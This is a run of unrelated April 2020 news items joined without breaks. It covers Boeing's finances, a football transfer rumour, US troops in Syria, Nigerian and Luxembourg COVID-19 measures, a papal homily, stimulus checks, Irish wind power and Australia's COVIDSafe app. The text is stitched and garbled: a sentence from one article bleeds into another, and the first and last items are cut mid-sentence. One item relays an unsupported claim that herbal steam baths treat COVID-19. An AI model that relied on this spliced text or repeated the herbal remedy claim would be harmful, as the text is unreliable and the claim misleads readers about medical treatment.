MAX jet back into service after two fatal crashes, even as the aviation industry slumps because of the coronavirus, which has dried up demand for passenger air travel. Boeing Co will need to borrow more money over the next six months and does not expect to pay dividends again for years, as the US planemaker wrestles with industry fallout from the coronavirus and the grounding of its 737 MAX jet, chief executive Dave Calhoun told shareholders on Monday. "We know we're going to have to borrow more money in the next six months in order to get through this really difficult moment, to provide the right liquidity to the supply chain that represents our industry," Calhoun said during the company's virtual annual general meeting. "Our first priority is going to be to pay that back, the principle and the interest that goes with it." Boeing would continue ordering parts and services from its suppliers to ensure the smaller companies have enough business to keep them afloat during the downturn, he said. We have to keep that flow of money going to the supply chain so that they have some predictability around how they operate. Boeing is trying to bring its 737 MAX jet back into service after two fatal crashes, even as the aviation industry slumps because of the coronavirus, which has dried up demand for passenger air travel. Calhoun said Boeing expects it will take two to three years for travel to return to 2019 levels and an additional few years more for the industry's long-term trend growth to return. Calhoun warned shareholders he is not confident Boeing will resume paying dividends in the medium-term. "That process could take three to five years... It's going to be a while before dividends come back." The largest US planemaker, which reports first-quarter earnings Wednesday, last month drew down its entire $13.8 billion credit line and suspended its dividend. Boeing's first- quarter deliveries were a third of the 149 seen a year earlier and the lowest since 1984 for the first quarter. Boeing shares rose 0.7 percent to $129.87 in afternoon trading. No Embraer deal The company also canceled a $4.2 billion deal for Embraer SA's commercial aviation division over the weekend, prompting the Brazilian company to initiate arbitration. Earlier in the meeting, Calhoun said the company's negotiation for Embraer's regional jet-making division was no longer helpful. We worked diligently for two years to finalize the transaction, but ultimately we could not come to a resolution around critical unsatisfied conditions for the deal," he said. Boeing said it was confident of its legal right to terminate the agreement. Industry sources have said Boeing was interested in Embraer mainly for access to lower-cost engineers and new manufacturing options, but it is now pondering cutting 10 percent of its workforce while also seeking US federal help for the aerospace sector. Boeing in March called for a "minimum of $60 billion in access to public and private liquidity, including loan guarantees, for the aerospace manufacturing industry. The company has not said if it will seek government loans or tap a $17 billion fund for national security-related companies. Boeing on Monday also said each of the companys 12 board nominees received a majority of votes from shareholders. Two proxy advisers, Glass Lewis and Institutional Shareholder Services (ISS), had recommended that Boeing shareholders vote against key board members to show objections to the companys handling of the 737 MAX crisis. Calhoun did not repeat the company's long-standing timetable of a mid-year return to service approval by regulators for the 737 MAX that has been grounded since March 2019 after two fatal crashes killed 346 people. Reuters reported last week a key certification test flight may not occur until late May or later. "We remain confident in the MAX," Calhoun said. Everton 'in talks' with Barcelona over Todibo | Tuesday, 28 April 2020 The report claims that the two parties are in talks over a potential 20m transfer of the centre-half who has spent the second half of the current season on loan at Schalke, reputedly after Everton missed out on capturing him in January. Barca are said to be willing to sell the French U20 international and Everton are known to be looking at central defensive reinforcements this summer. A move for Gabriel of Lille has been consistently mooted in the press for the past few weeks but the lack of clarity over the end of the Premier League season and the opening of the transfer window means that there has been no concrete news on that front. Note: the following content is not moderated or vetted by the site owners at the time of submission. Comments are the responsibility of the poster. Disclaimer About these ads ToffeeWeb Two US troops go missing in Syria's Dayr al-Zawr after gunmen attack their vehicle: SANA Iran Press TV Monday, 27 April 2020 5:29 PM At least two US soldiers have gone missing after a group of unknown gunmen attacked their vehicle in Syria's northeastern province of Dauyr al-Zawr, amid a growing antipathy against the presence of American forces in the area. Syria's official news agency SANA, citing local sources requesting anonymity, reported that the assailants attacked their Hummer car on Monday as it was traveling from the al-Omar oil field, which lies in the northeastern countryside of the province, to the al-Tanak field. The sources added that the vehicle was later found burnt and abandoned by the side of a road, noting that the fate of the two US troopers aboard remains unknown. Last week, SANA reported that unidentified armed men had ambushed a vehicle, carrying US soldiers and Kurdish-led militants from the so-called Syrian Democratic Forces (SDF), near the village of Rowayshed in the southern countryside of Hasakah province. It added that the car went out of control and a number of its occupants were wounded as a result. Earlier this month, a joint patrol of US forces and SDF members was also attacked in the countryside of Dayr al-Zawr province, which led to the killing of a US officer and two Kurdish-led militants. US sends military reinforcements to northern Syria Separately, a US convoy of 30 military vehicles entered northern Syria on Monday. SANA reported that the convoy, which contained military equipment and logistics, entered Syrian territories from Iraq through the al-Walid border crossing point, and headed towards the the Kurdish-majority city of Qamishli in the northeastern Syrian province of Hasakah. Since late October 2019, the US has been redeploying troops to the oil fields controlled by Kurdish forces in eastern Syria, in a reversal of President Donald Trump's earlier order to withdraw all troops from the Arab country. The Pentagon claims the move aims to "protect" the fields and facilities from possible attacks by the Daesh Takfiri terrorist group. That claim came although Trump had earlier suggested that Washington sought economic interests in controlling the oil fields. US Secretary of Defense Mark Esper also threatened that the American troops deployed to the fields would use "military force" against any party seeking to challenge control of the sites, even if it were Syrian government forces or their Russian allies. Syria, which has not authorized American military presence in its territory, has said the US is "plundering" the country's oil. US forces transfer more Daesh terrorists from Syria to Iraq In another development, SANA reported that US military forces have transferred another batch of Daesh Takfiri terrorists from al-Shaddadi town in the southern suburbs of Syria's Hasakah to Iraq. Local sources told the official Syrian news agency that six US vehicles entered the area on Monday morning and left after a few hours. The sources added that the vehicles were carrying a number of Daesh terrorists on board, and that US military helicopters were flying overhead as they headed eastward towards Iraq. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Several haulage vehicles loaded with passengers from Kano were on Monday turned back at the states boundary with Kaduna. The development occurred at Sabon Gida village in Ikara Local Government Area of Kaduna, which shares boundaries with Kiru Local Government Area of Kano State. The Kaduna State Commissioner of Internal Security and Home Affairs, Samuel Aruwan, who briefed journalists at the scene, including PREMIUM TIMES, said the vehicle drivers tried to abuse the exemption from movement restriction granted vehicles conveying essential goods. As you can see, we are here at the border with our sister state of Kano to assess the level of compliance with the travel restriction, and suddenly intercepted long vehicles carrying passengers into Kaduna State, he said. They abused exemption as you can see, we found dozens of people hidden and well-concealed. The good thing is they have not entered Kaduna State and we will turn them back to wherever they came from. Similarly, we have turned back dozens of passengers, and we will sustain the tempo in compliance with the Kaduna State Governments directives. We are having some problems with those beating security through remote areas with motorcycles but we will go back to the drawing board. The commissioner was also at the boundary between Kudan Local Government Area of Kaduna and Danja Local Government Area of Katsina State. At the Kaduna-Katsina boundary, Mr Aruwan thanked the security agencies for their sacrifice in enhancing security and the fight against the COVID-19 in Kaduna. The commissioner had earlier in the day dispersed hundreds of traders at a market situated at Kwanan Farakwai, Igabi Local Government Area on the Kaduna-Zaria highway. Several defaulters were arrested at the Kaduna State end of the boundaries and handed over to security agencies for prosecution. READ ALSO: Kaduna State Governor, Nasir El-Rufai, had extended the quarantine orders being enforced in the state for another 30 days, the governors spokesperson, Muyiwa Adekeye, said in a statement on Sunday. The state government had said no visitor is welcome into the state while the Covid-19 pandemic is raging. The Kaduna State Government has clearly stated that no visitor is welcome to enter the state while the Covid-19 pandemic is raging. Entry into or passage through Kaduna State is prohibited whilst the Quarantine Orders remain in force. Persons seeking to come into the state will be denied entry. Such persons will be given the option of returning to their take-off points or entering isolation for 14 days in locations and conditions that are so austere that nobody can mistake them for holiday resorts. The vehicles being used to enable such attempts to breach the quarantine conditions will be confiscated and forfeited to the government. The companies operating those vehicles will also be prosecuted and shall lose their license to operate in the state, even after the Covid-19 pandemic is contained. Within the state, vehicles of whatever type that is determined to be in violation will be confiscated and forfeited to the government, while the persons driving them will be fined, and maybe imprisoned upon conviction, the government said in the statement by Mr Adekeye. Let us pray that "in this time, as the decrees are issued to emerge from lockdown, let us pray to the Lord to give His people, to give all of us, the grace of prudence and obedience to these decrees, so that the pandemic does not return". Vatican City (AsiaNews) - The Shoah and Asia Bibi are two examples of how falsehoods can be built to condemn an innocent person or people, said Pope Francis this morning at mass celebrated at Casa Santa Marta. He was commenting on the passage from the Acts of the Apostles (Acts 7.51-8.1), in which Stephen speaks with courage to the people, the elderly and the scribes, who judge him with false testimonies, drag him out of the city and stone him. In the introduction to the rite, he invited us to pray so that "in this time, as the decrees are issued to emerge from lockdown, let us pray to the Lord to give His people, to give all of us, the grace of prudence and obedience to these decrees, so that the pandemic does not return". In his homily he stressed that in order to kill Stephen, whose "clarity of doctrine was intolerable to them", the doctors of the Law "went to ask someone to say they had heard that Stephen swore against God, against the Law. And after this, they fell upon him and stoned him: as simply as this. This mode of acting was not new: they had done the same with Jesus". It's a bestiality. A bestiality, starting from false testimonies used to 'do justice'. This is the pattern. " "Even today - he said then - we see it, this: even today it is taking place, in some countries, when there is a coup d'etat or an attempt to remove some politicians from a political race, this is done: false news, slander, then enter a judge of those who like to create jurisprudence with this 'situationist' positivism which is fashionable, and then condemnation. It is a social lynching. This is what was done to Stephan, this was Stephans judgement: they lead to judge one already judged by the deceived people ". This also happens with today's martyrs: that judges have no chance of doing justice because they are already judged. Think of Asia Bibi, for example, we have seen this: ten years in prison because she had been judged by slander and people who wanted her to die. Faced with this avalanche of fake news that creates opinion, often nothing can be done: nothing can be done ". In this, I think a lot about the Shoah. The Shoah is such a case: the opinion was created against a people and it was normal: "Yes, yes: they must be killed, they must be killed". A mode of acting to get rid of people who annoy, disturb. "We all know this is not good, but what we don't know is that there is a small daily lynching that tries to condemn people, to create a bad reputation for people, to discard them, to condemn them: the small daily lynching of gossip that creates an opinion, and often when someone hears someone talking, he says: 'But no, this person is a just person!' - 'No, no: it is said that ...', and with that 'it is said that' an opinion is created to do away with a person. The truth is another: truth is the testimony of the truth, of the things that a person believes; the truth is clear, it is transparent. Truth does not tolerate pressure. Let's look at Stephen, martyr: first martyr after Jesus. First martyr. Let us think of the apostles: all have witnessed. And we think of many martyrs who - even today, St. Peter Chanel the gossip, that created the opinion that he was against the king ... an infamy is created, and he must be killed. And think of us, of our use of language: Often, with our comments, we start such a lynching. And in our Christian institutions, we have seen so many daily lynchings that arise from gossip. May the Lord - the closing prayer - help us to be fair in our judgments, not to begin or follow this considerable condemnation that gossip causes. Blank Social Security checks are run through a printer at the U.S. Treasury printing facility in Philadelphia, Pa., on Feb. 11, 2005. (William Thomas Cain/Getty Images) Americans Are Saving Part of Their COVID-19 Stimulus Checks Many Americans who have received their COVID-19 economic impact payments, also referred to as stimulus checks, have chosen to save at least some of the money rather than spend it, a new poll shows. The most popular answer (38 percent) given by people who responded to a recent Axios/Ipsos survey about what theyve done with the funds from the stimulus payments is that theyve tucked them away for a rainy day. The next most common response was to pay off debts (26 percent), followed by spending on food and basic household needs (25 percent), and then on paying their rent or mortgage (14 percent). Daniel Ruffner, a cook whos now out of work due to the closure of his upstate New York restaurant, told The Washington Post that he used some of his $1,200 impact payment on groceries, bills, and rent. Ive just been stocking up on food and paying all of the bills. Its nice to finally be able to see my bills go to zero, he told the outlet. The Axios/Ipsos poll showed that 5 percent of respondents chose to donate their economic impact payment to someone in greater need than themselves (5 percent). A group in North Carolina is encouraging people in stable financial positions to donate part of their stimulus check to local causes or neighbors in need, and has set up a website called Pledge My Check to facilitate this, WCIV reported. Weve had people pledge their entire stimulus checks to essential workers, neighbors, or local restaurant worker relief funds, said member and Executive Director of Journeymen Triangle, Jordan Bowman, the outlet reported. Weve seen thousands of pledges come in to support local food banks affiliated with Feeding America. It has truly been inspiring. According to the poll, 18 percent of respondents said they hadnt spent the money yet, but planned to. People responding to the poll were able to tick multiple categories, so answers were permitted that would reflect a situation in which people both saved some of the money and spent some of it on, say, food. This means that the percentages from all the answers will add up to more than 100 percent. The responses to the Axios/Ipsos poll contrast with those from a Fortune/SurveyMonkey poll conducted between April 10-14, which showed that most people would use stimulus money to pay bills (47 percent), followed by purchasing groceries (33 percent), buying household essentials (30 percent), and paying rent or mortgage (29 percent). Just 26 percent said they would sock it away. The economic impact payments are the centerpiece of the governments economic relief package. Called the CARES Act, the relief bill stipulated payments of up to $1,200 for individuals and $2,400 for couples, along with an additional $500 for each dependent child under 17. The payments start to phase out for individuals earning over $75,000 or $150,000 for couples. These beneficiaries dont need to do anything, and the payments will be issued automatically. The Internal Revenue Service said last Friday that it has issued more than 88 million economic impact payments to households through April 17, with the money disbursed totaling about $158 billion. Meanwhile, over the weekend the Trump administration mailed a letter to some Americans who received the payments. The White House mailed out a letter from President Donald Trump to announce the IRS payments. (The Epoch Times) My fellow American, it started, Our great country is experiencing an unprecedented public health and economic challenge as a result of the global coronavirus pandemic. In the past five weeks alone, the number of initial jobless claim filings totaled some 26.4 million, erasing all the jobs created since the Great Recession. The economic boom following the 2008 financial crisis was the longest in U.S. history when lockdowns, sparked by the outbreak of the Chinese Communist Party (CCP) virus, the novel coronavirus that emerged from China in 2019, brought it to a dramatic end. In recent remarks on ABCs This Week, White House economic adviser Kevin Hassett said the nations economic outlook was in a really grave situation. Were going to be looking at an unemployment rate that approaches rates that I think we saw during the Great Depression, he said. During the Great Recession we lost 8.7 million jobs in the whole thing. Were losing that every 10 days. An environmental NGO, Arocha Ghana has donated relief items to help the fight against Covid-19 in the West and North Gonja Assemblies of the Savannah region. The handing over of the items was done at the Northern Sector office of the NGO in Damongo, the Savannah Regional capital. The items include Veronica Buckets, Alcohol-based hand sanitizers, and Antiseptics Soaps. Mr. Godwin Dzekoto, the Northern sector Project Manager of Arocha Ghana says his outfit is all out to help the government and the Ghana Health Service (GHS) to end the spread of the covid-19 pandemic. He indicated that the pandemic which is a global challenge and has impacted communities and their livelihoods and the vulnerable are even more at risk during this time. According to him, Communities within the landscape are in remote areas and do not have access to daily information from radios and social media. "We are making these items available to them and also support to enhance their knowledge in the fight against covid-19," Mr. Dzekoto said. He also reiterated the fact that, Arocha Ghana has provided some logistical support to the Municipal Covid-19 Response Team through the National Commission for Civic Education (NCCE) to sensitize communities within the Municipality on the pandemic. Beneficiaries of the items are Mognori, Murugu, Achubunyor, Bonyato, and Solepe communities in the West Gonja Municipal and Bawena; Yazori, Kpulumbo, Gurubagu, and Wawato in the North Gonja District. Other beneficiaries are the Municipal and Regional Police Command, CHPS compounds within the beneficiary communities as well as Attributo, Hangaline, and Mole CHPS compounds. Speaking to Abdulai Nuhu Zulka of PADFM NEWS, the Assemblymember for Bawena electoral area, Hon. Yahaya Yahuza expressed gratitude to Arocha Ghana and its Partners for the kind gesture. He called on other NGOs, CSOs, institutions and individual philanthropists to emulate the great gesture of Arocha Ghana by reaching out to these communities to help fight the spread of the covid-19. Also present at the short handing over the meeting was Assembly Member for Achubunyor Electoral Area, Hon. Kipo Yakubu and Assembly Member for Kumbo Electoral Area, Hon. Mohammed Yakubu. Others include representatives from the Ghana Health Service and the Ghana Police Services in the West Gonja Municipal Assembly. As part of its exit strategy, the Luxembourg government can count on the support of Luxembourg research, namely the Research Luxembourg COVID-19 Task Force. In close cooperation with the Ministry of Higher Education and Research and the Ministry of Health, the COVID-19 Task Force has developed a "Large Scale Testing Strategy" based on a voluntary diagnostic test accessible to the population, including cross-border commuters of the Greater Region. This will ensure that Luxembourg can better and in an informed manner accompany the lifting of restrictions from the lockdown. The more people participate, the more protection this will mean for the entire population. "Due to the size of Luxembourg and its limited number of residents, we have a great opportunity: we can test the entire population for the novel coronavirus within a short period of time. This makes us the first country in the world to have a complete overview of the number of infected citizens," said Minister of Higher Education and Research, Claude Meisch. By shortening the lockdown period, psychological, economic and social problems will be kept to a minimum. The overall objective is to avoid a second wave of infected people in the context of exit measures and thus the introduction of a new lockdown. 8,500 tests for students and teachers this week, 20,000 tests per day in a later phase The testing starts already this week: about 6,000 high school graduates and 2,500 teachers have the opportunity to get tested before they go back to school from May 4th, 2020. They will be informed by letter. The tests are voluntary: everyone can get tested, no one has to. The testing strategy consists of expanding the capacity to 20,000 tests per day. The objective is to be able to test the entire population, progressively and in contingents, in some cases several times. Breaking the infection chain "The high number of tests carried out will help to assess the extent of the spread of the virus and to detect for the first time asymptomatic cases, which are currently estimated to account for up to 80% of cases. This means that we can detect many more infected people than before, put them in isolation and track their contacts, thus breaking the infection chain", says Minister of Health, Paulette Lenert. "As the protection is greater the more people are tested, we want to encourage all residents of the country to participate in this unique public health measure," she added. In the next few days and weeks, up to 17 test stations will be set up in the country, where the inhabitants of Luxembourg, but also cross-border commuters, can be tested. "We are pleased that the government has confidence in Research Luxembourg to support it at this historic stage. The aim is to effectively accompany the spread of the virus and to keep it under control at all times," says Ulf Nehrbass, spokesman of the COVID-19 Task Force and CEO of the Luxembourg Institute of Health (LIH). The core elements of the large-scale testing strategy Testing and segmentation of the population into contingents The Research Luxembourg large-scale testing strategy is based on large-scale virus testing, in which the population is not considered as a whole, but divided into different contingents. The tests per contingent are carried out in 3 stages: Stage 1: a representative population of a contingent is tested. The results of these tests give an indication of when the contingent can be freed from restrictions and when it should be tested on a large scale Stage 2: All persons in the contingent are invited to be tested on a voluntary basis. Stage 3: A representative group is selected shortly after the exit measures in order to be tested a second time. This allows monitoring of whether and how the virus is spreading within the contingent. For people tested negative, the restrictions of the lockdown are lifted. Positive tested people must enter isolation. Their contacts are traced, tested and quarantined to break the chain of infection. Projections to better guide the deconfinement strategy "The projections we make on the basis of the test results help policymakers to make decisions on the exit strategy and to adapt measures to the situation at any time. Important indicators include, for example, the ability to trace contacts and the capacity of the health system", says Prof. Rudi Balling, Director of the Luxembourg Centre for Systems Biomedicine at the University of Luxembourg. The COVID-19 Task Force is well organised for this. In collaboration with the Ministry of Health, researchers, statisticians and doctors work together on a daily basis to produce projections for Luxembourg that are as accurate as possible, based on which the decision-makers can then decide on the measures to be taken. This project, which primarily serves a public health objective, will also enable research to gain a better understanding of the virus in the medium term - which is important in order to learn how we can better live with the virus in the future. In addition, the experience gained now will in the long term also serve to be better prepared as a country in the event of another pandemic. Ease the path towards normality "What we do here in Luxembourg is unique. Luxembourg can test more extensively than any other country to date. This enables us to take the difficult path out of the COVID-19 crisis towards normality in the most controlled way possible. On the one hand, this minimises risks and on the other hand, provides a solid basis for the government to make decisions," Ulf Nehrbass concludes. The strategy at a glance The large-scale testing strategy developed by the COVID-19 Task Force is based on the following 5 elements: Consistent monitoring of key parameters - to monitor the evolution of the COVID 19 pandemic in Luxembourg at all times and to provide a basis for decisions on the scope of testing and the introduction of relaxation or restriction measures Segmentation of the population into contingents High testing capacity: test each contingent, with the aim of gradually and on a voluntary basis testing the largest possible part of the population and then exempting those who test negative from restrictive measures Isolation of positive tested people Efficient and fast tracing of positive tested people and subsequent quarantine-measures What is the COVID-19 Task Force? Efficient measures in the context of the COVID-19 pandemic require close cooperation between research, hospitals and the Government in Luxembourg. For this reason, Research Luxembourg (LIH, LISER, LIST, LNS, Luxinnovation, University of Luxembourg and FNR, under the coordination of the Ministry of Higher Education and Research) has set up the COVID-19 Task Force in order to better implement relevant initiatives. Based on a list of priorities elaborated by ministries and other partners, a number of work packages have been defined, which the COVID-19 Task Force will work on in the coming weeks and months. In cooperation with the government, the COVID-19 Task Force sees its role in providing scientific input to enable the government to work on a fact-based EXIT strategy. To this end, the COVID-19 Task Force is continuously working on updates on the development of the pandemic in Luxembourg and submits concepts and recommendations from a scientific perspective so that they can be incorporated into the political decision-making process. More information: https://researchluxembourg.lu/covid-19-taskforce/ Press release by the Ministry of Health, Ministry of Higher Education and Research and Research Luxembourg Advocate for Social Intervention Ghana (ASIG), a civil society organization spearheading social justice in the country, has praised President Nana Addo Dankwa Akufo-Addo for showing greater leadership in the fight against coronavirus. The civil society group said President Akufo-Addo has shown and continued to show greater concern and commitment to the prevention and total eradication of Covid-19 in Ghana. The Chief Executive Officer of ASIG, Mr. Emmanuel Arthur, commended the President in a statement issued and copied to the Ghana News Agency in Kumasi. The statement noted that all the preventive protocols and restrictive measures imposed by the Government were geared towards containing the further spread of the virus and ensure public safety. Though it said scientists and health researchers around the globe were working around the clock to produce vaccines to treat the disease, it was time Ghana considered the use and promotion of local medicine to fight the virus. According to ASIG, traditional steam bath with Nim tree leaves, camphor, lemon, garlic and/or Aidan fruit, had over the years, proved to be very efficacious in the treatment of several diseases and infections. It, therefore, entreated the government to consider encouraging people to use such traditional herbs for the treatment of the virus and other diseases. The statement commended Ghanaians for showing kindness by distributing food and other items to the vulnerable during the lockdown in some parts of the country and also contributing to the National Covid-19 Trust Fund. It appealed to the Government to consider completing the abandoned hospital projects dotted around the country before starting the construction of the 88 proposed new ones as was announced by the President in his eighth televised address to the nation. The statement also called on ministries of Trade and Industries and Local Government and Rural Development to help restructure trading in the countrys markets to reduce congestion and improve social distancing. It commended the Ghana Medical Association, Ghana Health Service, organizations, and individuals for standing firm in the fight against the spread of the virus. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video (TNS) For more than a month, Coronado, Calif., has been a testing ground for a tech company that wants to harness the Internet's power to promote civic engagement.In March, the Solana Beach, Calif., software company Voterfied set up a "voting portal" where Coronado's registered voters can comment or vote on issues facing the city such as whether they support building more housing or a ban on gas-powered leaf blowers.Whoever controls the portal in this case Voterfied can use the data to come up with policy decisions or gauge community interest in certain programs. Although the company is operating the portal for now, it hopes to sell it to cities one day."Our goal is to use technology to facilitate better civic engagement," said the company's founder Michael Allman. "We'd like to see the city adopt Voterfied."Voterfied hasn't formally approached Coronado yet, he added.When the company first launched, its focus was on marketing its software to political candidates and elected officials.The platform works by vetting registered voters and putting them in direct contact with candidates of representatives. It allows for many-to-one communication without the confines of a City Council meeting or a candidate forum. Carlsbad Mayor Matt Hall used Voterfied during his 2018 reelection campaign and credits the platform for helping him get his message out."During the campaigns, you normally have interest groups giving you messages about what they think is important," Hall told the San Diego Union-Tribune in February. "The same people always show up at council meetings, and they obviously have legitimate concerns. But with any issue, there's always more than one side. It's important to know what the greater populace is thinking."Now, Voterfied is using Coronado to test a proof of concept of whether its platform could also be marketed to municipal governments.Early results suggest that the answer is yes.More than 250 people have logged on to the Voter Portal in Coronado and, collectively, they've voted more than 1,000 times. Some members have also provided input to include more questions and polls on the portal."We've been surprised by how quickly it's taken off," Allman said.For now, the company isn't making any money on its Coronado voter portal. But that could change if Voterfied can show cities there is value in their platform."It's a public service at this point," Allman said. "Down the road, this should be something that should be owned by the city. Our intention is to try to get the city to use this."The experiment hasn't gone off without any hiccups.Early on, Voterfied used an image of Coronado's flag and the city responded by promptly sending the company a cease and desist letter."These activities create a false impression that you are either associated with the City of have otherwise received some sort of endorsement from the City," the letter states.Allman said the intention was not to deceive but rather make it clear to participants that their platform was meant to be exclusively about Coronado issues. Voterfied quickly removed images of the city's flag and replaced them with photos of a lifeguard tower.The company initially chose Coronado as its first testing site because it is a small, tight-knit community with a lot of engaged and civic-minded residents, Allman said.Although Coronado was the first, it won't be the last for Voterfied.The company plans to expand to three additional cities in San Diego County next month. Specifically which ones, the company hasn't determined yet, Allman said."If we get a second and third city where we have a good response, that proves to us that there's a real need," Allman said. Wind power has overtaken natural gas as Ireland's top source for electricity generation for a full quarter for the first time. Electricity from wind turbines provided 43.8pc of the States total needs from January to March, compared to 37pc in the same quarter a year ago, according to the Sustainable Energy Authority of Ireland. It said natural gas - perennially the main source for generating electricity here - provided 41.8pc of Irelands needs in the first quarter of this year. David Connolly, chief executive of the Irish Wind Energy Association, said the rapid growth in generation from wind turbines still isnt fast enough to meet the Governments 2030 goals. These call for 70pc of electricity to come from renewable sources, chiefly wind. It is essential, if we are to build on this success, that the next Government prioritises reforming our planning system so we can develop wind energy off our coasts and ensures that the new wind energy guidelines enable us to build the next generation of onshore wind farms, Mr Connolly said. It can take eight to 12 years to develop a wind farm in Ireland. This means that any Government serious about our 2030 targets has, at most, only a couple of years to make the right policy choices, he said. Electricity generated by wind turbines in the first quarter totalled 3,390 gigawatt hours (GWh) - equivalent to the average annual consumption of 737,000 homes. Natural gas produced 3,234 GWh. For our free coronavirus pandemic coverage, learn more here. Save Log in , register or subscribe to save articles for later. Normal text size Larger text size Very large text size The federal government wants you to download an app. Called COVIDSafe, the app a tool you download to your smartphone is designed to speed up contact tracing for new coronavirus cases. Contact tracing is one of the ways some governments, including ours, are suppressing the spread of this virus. When someone falls ill, a special team quickly gathers as much information as they can from the patient, then calls up anyone who's had close contact with them while they were infectious and tells those people to isolate themselves. The federal government says contact tracing is a must-have in order for them to even consider advising that lockdown laws should be relaxed. Hundreds of contact tracers are working in teams across Australia already. The app, says the government, offers an additional automated version of this process. By enabling your phone to identify who's near you and preparing a record of who you've been near that's ready to go in case you ever contract COVID-19. It would save time. It might even save lives. But in a new world of big data, experts have serious concerns about even seemingly tiny bits of information being shared with the government. COVIDSafe may well mark the start of a fresh tension between civil liberties and lifesaving not seen since policies made after the September 11 terrorist attacks in 2001. Still, 4 million people have dowloaded it so far. So how does COVIDSafe work? Can the personal data it takes be stolen or misused? Will the app actually save lives? How does the app work? All smartphones have Bluetooth. We use it to connect our phones to other devices such as speakers, smartwatches and printers. Advertisement Bluetooth can also be used to communicate wirelessly with other phones and that's how the app will identify who you've been near. The phones will communicate with each other as you do in a call-and-response game, let's say, Marco, Polo. If you have downloaded COVIDSafe (by selecting it in the app store on your phone), your phone will send little signals every now and then the "marco" and if there's a phone nearby where someone has downloaded the app, it will register a "polo" in response. If you later contract COVID-19, all the "polos", or responses, your phone registered that belonged to phones that were within 1.5 metres of you (which is the required proximity for social distancing) for at least 15 minutes will be sent off to a central government database. The app is based on a similar piece of software out of Singapore called TraceTogether. Australia joins Germany and Denmark in designing contact tracing apps. Sounds good, so what's the problem? This is where it gets a little trickier and where some experts have concerns over privacy. The government has said it's taking only a very limited amount of personal data from app users: your name, mobile number, postcode and an age range. And the government has stressed what it's not taking: it won't actually ever keep track of where you are, just who you're with. To add an extra layer of security, they've made it so that when a phone picks up another user near it, it isn't able to know any of that information. How? By giving everyone an anonymous ID so when your phone says "marco", it doesn't actually know who is "poloing" back. Advertisement But for the app to work, the government needs to have a way to turn that anonymous ID into a full name and number they need to contact trace somehow. Somewhere out there, there has to be a secret key that will unlock a secret database that turns an anonymous ID into someone's contact details. That's where privacy concerns come in. So is your personal data at risk? The most likely way your personal data could be misused or stolen is through that secret database. Richard Buckland, a professor in cyber security at UNSW, says that's where the real danger lies. "If you know the secret keys the passwords that the government uses to set this up you can work out what all the anonymous IDs would be. That's one little secret you need to get a hold of a database where you can access every 'polo' they're going to call out," he says. The federal government has given some assurances - they won't have access to this database, Prime Minister Scott Morrison has said, and only state health officials tasked with contact tracing will be able to see what's inside. But there's still a lot we don't know. Earlier, the government said they would release the source code of COVIDSafe the backroom details showing how it is designed but has now said it will keep parts of the code secret to avoid making it vulnerable to cyber attacks. While the app is now available, the source code is still yet to be released. And we don't know how long the app will be used perhaps right up until a vaccine is distributed. So how likely is it that the secret database could be hacked? It's almost inevitable, Professor Buckland says. "I would assume the database would be compromised," he says. "Everything can be hacked. The [United States] National Security Agency and Facebook are both far better funded than we are and they've both been breached." Advertisement Australian National University Cyber Institute chief executive Lesley Seebeck says similarly: "If someone is determined to get in they will get in if a nation state wants to get in they will." Loading The government has limited the amount of data that can be hacked. Data will only be sent to the secret database if someone tests positive for coronavirus, and they consent to that data being shared. That means that if someone successfully accessed the database, they wouldn't get a full list of everyone you have interacted with since downloading the app but they would know what your anonymous ID is. And the limited data could be hacked. "Secret services in other countries could set up their own Bluetooth beacons," Professor Buckland explains, "they could put a Bluetooth beacon outside all Canberra brothels, for instance and all of a sudden you've got the ability to identify someone's phone because they're constantly emitting that beeping Bluetooth 'marco' out of it." And while the app doesn't strictly collect location data, Professor Buckland says it wouldn't be hard to figure that out from the Bluetooth pings. There are algorithms around that can figure out whether you're on a crowded train, or a shopping centre, or your home, based on the frequency of signals emitted. The data could be used to blackmail people having affairs, or threaten journalists working on sensitive stories, or go after high-level executives thinking of working for another company. Added to data security fears is the existence of a United States law that some say might allow their government to access information stored by the COVIDSafe app. It's called the CLOUD Act, and it lets United States authorities have a look at the data stored by any American company - including Amazon, the company contracted to store Australia's COVIDSafe data. But the Australian federal government has insisted that our laws supersede those of the United States, with Health Minister Greg Hunt issuing a directive under the Biosecurity Act and pledging to introduce airtight security legislation when Parliament sits in mid-May. Advertisement Professor Buckland makes another point about your personal data: we don't know for sure how a government of the future will use this new information. He fears governments will take this app as permission to encroach on civil liberties in the months and years ahead in what is known in academic circles as scope creep. "With anti-terror legislation after [September 11], we started with one or two acts ... now there's more than 50," he says. Loading Will the app save lives? It's impossible to say at this stage. The app will help contact tracing only if the people you have been in contact with also have it downloaded on their phones and we don't know how many people will download it. The argument from Prime Minister Scott Morrison is that if enough people take up the app he wants 40 per cent of Australians using it then that will not only hasten the coronavirus contact tracing process but give an additional safeguard needed to reopen parts of the country. Deputy Chief Medical Officer Nick Coatsworth described the app not as essential to health outcomes but as the "icing on the cake" for an already "well-oiled" tracing regime. Advertisement San Antonio, Texas, April 28, 2020 (GLOBE NEWSWIRE) -- Air Force Federal Credit Union (AFFCU) has expanded its field of membership to those who live, work, worship, or attend school in Clay, Lowndes, and Oktibbeha Counties in the state of Mississippi. The announcement was made on Monday, April 27, 2020, after the credit union received approval from the National Credit Union Administration (NCUA). The goal of the credit unions expansion into east central Mississippi is to provide a wide array of affordable financial products and services, and financial education resources to all residents, workers, students, organizations, businesses and legal entities of the area. The credit union believes its product and services and outstanding record of member service will positively impact the lives of additional prospective members who before now, would not have been eligible to join the credit union. AFFCU opened its first state-of-the-art branch outside the state of Texas in Columbus, Mississippi in October 2019. The Columbus branch provides competitive financial services, shared branching, and technology driven services such as ATMs, Interactive Member Experience (IMX) Machines, and Interactive Teller Machines (ITM), all manned by Member Experience Advisors. The branch serves many residents of the Golden Triangle, a region in east central Mississippi that is formed by the cities of Columbus, Starkville and West Point, and includes all of Clay, Lowndes, and Oktibbeha counties. We are excited and welcome the opportunity to serve the people of Clay, Lowndes and Oktibbeha counties in Mississippi, AFFCU President and CEO Bob Glenn said. AFFCU abides by the credit union motto of People Helping People and will live up to our core values of Integrity, Service and Excellence as we continue to welcome new members we have in these communities. About AFFCU Founded in 1952, AFFCU serves the diverse needs of over 51,000 members worldwide with a full array of financial services and the strength of more than $485 million in assets. For additional details about AFFCU, visit www.GoAFFCU.com. A team 